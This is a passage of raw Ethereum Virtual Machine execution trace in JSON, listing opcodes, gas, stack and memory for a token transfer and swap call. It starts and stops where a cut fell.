","0000000000000000000000000000000000000000000000000000000000000064","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12705,"op":"PUSH1","gas":98860,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x23b872dd00000000000000000000000000000000000000000000000000000000","0x220"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12707,"op":"DUP2","gas":98857,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x23b872dd00000000000000000000000000000000000000000000000000000000","0x220","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12708,"op":"ADD","gas":98854,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x23b872dd00000000000000000000000000000000000000000000000000000000","0x220","0x20","0x220"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12709,"op":"DUP1","gas":98851,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x23b872dd00000000000000000000000000000000000000000000000000000000","0x220","0x240"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12710,"op":"MLOAD","gas":98848,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x23b872dd00000000000000000000000000000000000000000000000000000000","0x220","0x240","0x240"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12711,"op":"PUSH28","gas":98845,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x23b872dd00000000000000000000000000000000000000000000000000000000","0x220","0x240","0x97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12740,"op":"AND","gas":98842,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x23b872dd00000000000000000000000000000000000000000000000000000000","0x220","0x240","0x97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12741,"op":"PUSH1","gas":98839,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x23b872dd00000000000000000000000000000000000000000000000000000000","0x220","0x240","0xcbf29dbd33b811bab2f0637e9f0fe4e7"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12743,"op":"PUSH1","gas":98836,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x23b872dd00000000000000000000000000000000000000000000000000000000","0x220","0x240","0xcbf29dbd33b811bab2f0637e9f0fe4e7","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12745,"op":"PUSH1","gas":98833,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x23b872dd00000000000000000000000000000000000000000000000000000000","0x220","0x240","0xcbf29dbd33b811bab2f0637e9f0fe4e7","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12747,"op":"SHL","gas":98830,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x23b872dd00000000000000000000000000000000000000000000000000000000","0x220","0x240","0xcbf29dbd33b811bab2f0637e9f0fe4e7","0x1","0x1","0xe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12748,"op":"SUB","gas":98827,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x23b872dd00000000000000000000000000000000000000000000000000000000","0x220","0x240","0xcbf29dbd33b811bab2f0637e9f0fe4e7","0x1","0x100000000000000000000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12749,"op":"NOT","gas":98824,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x23b872dd00000000000000000000000000000000000000000000000000000000","0x220","0x240","0xcbf29dbd33b811bab2f0637e9f0fe4e7","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12750,"op":"SWAP1","gas":98821,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x23b872dd00000000000000000000000000000000000000000000000000000000","0x220","0x240","0xcbf29dbd33b811bab2f0637e9f0fe4e7","0xffffffff00000000000000000000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000